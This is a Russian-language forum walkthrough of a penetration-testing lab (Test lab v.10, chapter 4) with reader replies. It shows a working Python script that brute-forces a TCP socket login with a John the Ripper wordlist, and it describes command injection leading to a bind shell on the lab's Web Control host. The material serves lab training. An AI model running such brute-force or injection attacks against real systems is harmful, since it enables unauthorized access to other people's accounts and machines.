Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

Глава 4
Предыдущая глава
Следующая глава
Оглавление

tl10.png

Приветствую вас колеги.
Сегодня настало время очередного токена.
Сегодня будем побеждать Web Control (192.168.0.6) и рассмотрим такой вектор как Command Injection.
Почитать про Command Injection можно тут, тут. Но также вспомним про атаку на слабые пароли методом брутфорса.
Для начала ,как всегда просканим порты:
1.PNG

Пробуем подключится с помощью нетката:

2.PNG

Видим обычную tcp socket аутентификацию... Первое что на ум приходит при встрече с аутентификацией - это перебор пароля на легкие словарные пароли.
Что мы в первую очередь и будем пробовать.
Для удобства я пробросил порт,как это делать я описывал в прошлой статье
3.PNG

Но стандартных брутфорсов для таких целей я также пока не встречал,по этому на помощь снова приходят базовые знание программирования на питон. Набросал простенький скрипт для перебора паролей - я прогнал его по учетным записям из уже известным нам (которые мы получили на ssh машине) ,но увы мой брутфорс не дал результатов. И спустя некоторое время ковыряясь в этой корпоративной сети ,на некоторых машинах я замечал что при попытке сброса пароля например на клауде(cloud "172.16.0.3") я заметил что существует учетная запись admin. И тут на ум приходит прогнать брутфорс еще по таким учеткам как admin,root,cloud,user,test.
Брутил я словарю из john the ripper:
4.PNG

Я не гуру в программирование на питон,и по этому мой скрипт выглядит совсем по простому,
я использовал там только цикл для перебора по словарю,библиотеку socket для работы с tcp соединением,и обычное if else условия).Выглядит мой скрипт примерно так:

5.PNG

Python:
import socket
from termcolor import colored

users=['admin','root','user']
with open('pass.txt','r') as fs:
    for p in fs.readlines():  
        for n in users:
            sock = socket.socket()
            sock.connect(('127.0.0.1', 1503))
            sock.recv(1024)
            sock.send(n+"\n")
            sock.recv(1024)
            sock.send(p.strip()+"\n")
            data=sock.recv(1024)
            sock.close()
            if 'Error!' in data:
                print colored('[-] ','red')+colored(n,'yellow')+' '+colored(p,'yellow')
            else:
                print colored("[+]Good ","green") +colored(n,'cyan')+' '+colored(p,'cyan')
                break      
        if 'Error' not in data:
            print colored("[ *** ] Brute Finished Succes!","magenta")
            break
К выше сказаному добавлю что использовал в скрипте расцветку (библиотека colored)
массив пользователей из трех на мой взгляд распространенных учетных записей.Затем циклически перебрал словарь,и если в ответе сервера не было фразы "Error!" то закончить цикл и вывести логин и пароль который подошел к tcp socket аутентификации.
В деле это выглядит как то так:
6.PNG


Получил логин и пароль,пробуем подключится. Подключившись замечаем работу какого то приложения которое работает в интерактивном режиме и которое запрашивает пользовательский ввод,а везде есть пользовательский ввод - запомните!!!- это уже повод думать что там может быть инъекция!!!!!
Вооружившись знаниями об command injection пробуем различные варианты выполнить инъекцию.

7.PNG

Здесь мы использовали Bind Shell , потому что ssh машина (172.16.0.8) и web_control машина (192.168.0.6) находятся в разных сегментах сети.
Подробнее о том что такое bind и reverse shell можете прочесть в моей статье для новичков.

Дальше дело за малым) Найти токен) Первым делом когда попадаю на машину я пользуюсь командой
find для поиска имен файлов которые в своем имени содержат слово "token"
Выглядит моя команда так:
Код:
find / -type f -name "*token*"
8.PNG


Всем спасибо) Продолжение следует)
Если понравилась статья - ставь лайк) Мне будет приятно)
Вот демо-видео :
Предыдущая глава
Следующая глава
Оглавление
 

Вложения

  • Нравится
Реакции: Dmitry88 и <~DarkNode~>
Hi help me

Код:
bash-4.2#./brt.py
  File "./brt.py", line 2
    import socket
    ^
IndentationError: unexpected indent
bash-4.2# ./brt.py
./brt.py: line 3: from: command not found
./brt.py: line 5: syntax error near unexpected token `('
./brt.py: line 5: `with open('pass.txt','r') as fs:'

python brt.py
  File "brt.py", line 2
    import socket
    ^
IndentationError: unexpected indent

bash-4.2# pip install termcolor
Requirement already satisfied: termcolor in /usr/lib64/python2.7/site-packages
 
Последнее редактирование модератором:
Hi help me

Код:
bash-4.2#./brt.py
  File "./brt.py", line 2
    import socket
    ^
IndentationError: unexpected indent
bash-4.2# ./brt.py
./brt.py: line 3: from: command not found
./brt.py: line 5: syntax error near unexpected token `('
./brt.py: line 5: `with open('pass.txt','r') as fs:'

python brt.py
  File "brt.py", line 2
    import socket
    ^
IndentationError: unexpected indent

bash-4.2# pip install termcolor
Requirement already satisfied: termcolor in /usr/lib64/python2.7/site-packages
Try
python brt.py
 
Код:
python brt.py

  File "brt.py", line 2
    import socket
    ^
IndentationError: unexpected indent
[doublepost=1483265430,1483263612][/doublepost]
Код:
python brt.py

  File "brt.py", line 2
    import socket
    ^
IndentationError: unexpected indent
усе, как-то заработалоo_O
[doublepost=1483269876][/doublepost]
err.png
почему неверный пароль???
 
  • Нравится
Реакции: Сергей Попов
Код:
python brt.py

  File "brt.py", line 2
    import socket
    ^
IndentationError: unexpected indent
[doublepost=1483265430,1483263612][/doublepost]
усе, как-то заработалоo_O
[doublepost=1483269876][/doublepost]Посмотреть вложение 8379 почему неверный пароль???
Он набросался за пару минут,его можно усовершенствовать или взять за основу для написания своего на своем ЯП. Возможно(скорее всего) скрипт не понимает обрыва ssh соединения,такое вполне возможно когда падает ссш соединение(в лаборатории как минимум раз в час машина ссш перезагружается...)
http://pastebin.com/raw/BxU2zkHN
snimok-png.8293


 
Последнее редактирование:
Он набросался за пару минут,его можно усовершенствовать или взять за основу для написания своего на своем ЯП. Возможно(скорее всего) скрипт не понимает обрыва ssh соединения,такое вполне возможно когда падает ссш соединение(в лаборатории как минимум раз в час машина ссш перезагружается...)
***Скрытый текст***
именно так -обрыв, уже отдуплился
thank you very much
 
  • Нравится
Реакции: <~DarkNode~>
теперь пароль сходится. я просмотрел в терминале ту сесию ssh там был обрыв соединения с ssh, наверное почему и выдал типо пароль такой
тоже самое вчера было. Пароль user находило, а admin нивкакую. Уже и скрипт переделывал, и другие подобные искал. Оказалось ССН обрывалась периодически. Сегодня час не мог к лабе подключиться, но когда вышло, запустил старый скрипт (только пользователя 'admin' оставил) и вуаля. 5 минут и пароль найден. Тут еще момент для таких новичков как я - после нахождения пароля скрипт продолжает поиск по словарю , пока он не закончится, по-этому вы можете просто пропустить найденный. Внимательно смотрите отработку.
 
тоже самое вчера было. Пароль user находило, а admin нивкакую. Уже и скрипт переделывал, и другие подобные искал. Оказалось ССН обрывалась периодически. Сегодня час не мог к лабе подключиться, но когда вышло, запустил старый скрипт (только пользователя 'admin' оставил) и вуаля. 5 минут и пароль найден. Тут еще момент для таких новичков как я - после нахождения пароля скрипт продолжает поиск по словарю , пока он не закончится, по-этому вы можете просто пропустить найденный. Внимательно смотрите отработку.
john -single --5sec
 
5. Условия и правила создания тем и сообщений, размещение других информационных материалов (фото, видео)
***
10. Запрещено писать транслитом. Перед размещением сообщения используйте сервисы для перевода транслита в кирилицу.​
 
  • Нравится
Реакции: <~DarkNode~>
sorry! Я попутал с другим примером.тут просто скрипт и словарь из jоhn-а.У меня минут 10 с одной учеткой отрабатывает
 
Извиняюсь за свою тупость! Откуда получили порт 1337?? в скрине при подключении к 1503
 
Спасибо всё пошло, только пароль не такой
Только что его протрубил, пароль именно такой как указал DarkNode.
[doublepost=1484260019,1484259947][/doublepost]P.s. DarkNode, спасибо за скрипт и труды!
 
Все сложнее чем кажется... долго вникал.(
 
И спустя некоторое время ковыряясь в этой корпоративной сети ,на некоторых машинах я замечал что при попытке сброса пароля например на клауде(cloud "172.16.0.3") я заметил что существует учетная запись admin.
Уважаемый сенсей. Не могли бы Вы поподробнее рассказать о "попытке сброса пароля"? Спасибо)
[doublepost=1485428178,1485426010][/doublepost]
Тут еще момент для таких новичков как я - после нахождения пароля скрипт продолжает поиск по словарю , пока он не закончится, по-этому вы можете просто пропустить найденный. Внимательно смотрите отработку.
Как он может продолжить поиск, если в скрипте после нахождения правильного пароля стоит break?
 
Уважаемый сенсей. Не могли бы Вы поподробнее рассказать о "попытке сброса пароля"? Спасибо)
[doublepost=1485428178,1485426010][/doublepost]
Как он может продолжить поиск, если в скрипте после нахождения правильного пароля стоит break?
Если указать несколько юзеров, то для некоторых тоже пароли находит. При этом поиск не прекращается.
 
Интересно! Я даже завел конспект куда выписываю те вещи в которых надо разобраться... такого со мной не случалось с института)))
 
  • Нравится
Реакции: <~DarkNode~>
подскажите. есть ли другая команда входа в меню туннелирования в SSH ? через комбинацию "Shift" + "~" + "c" заходит в данное меню один раз на миллион...
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab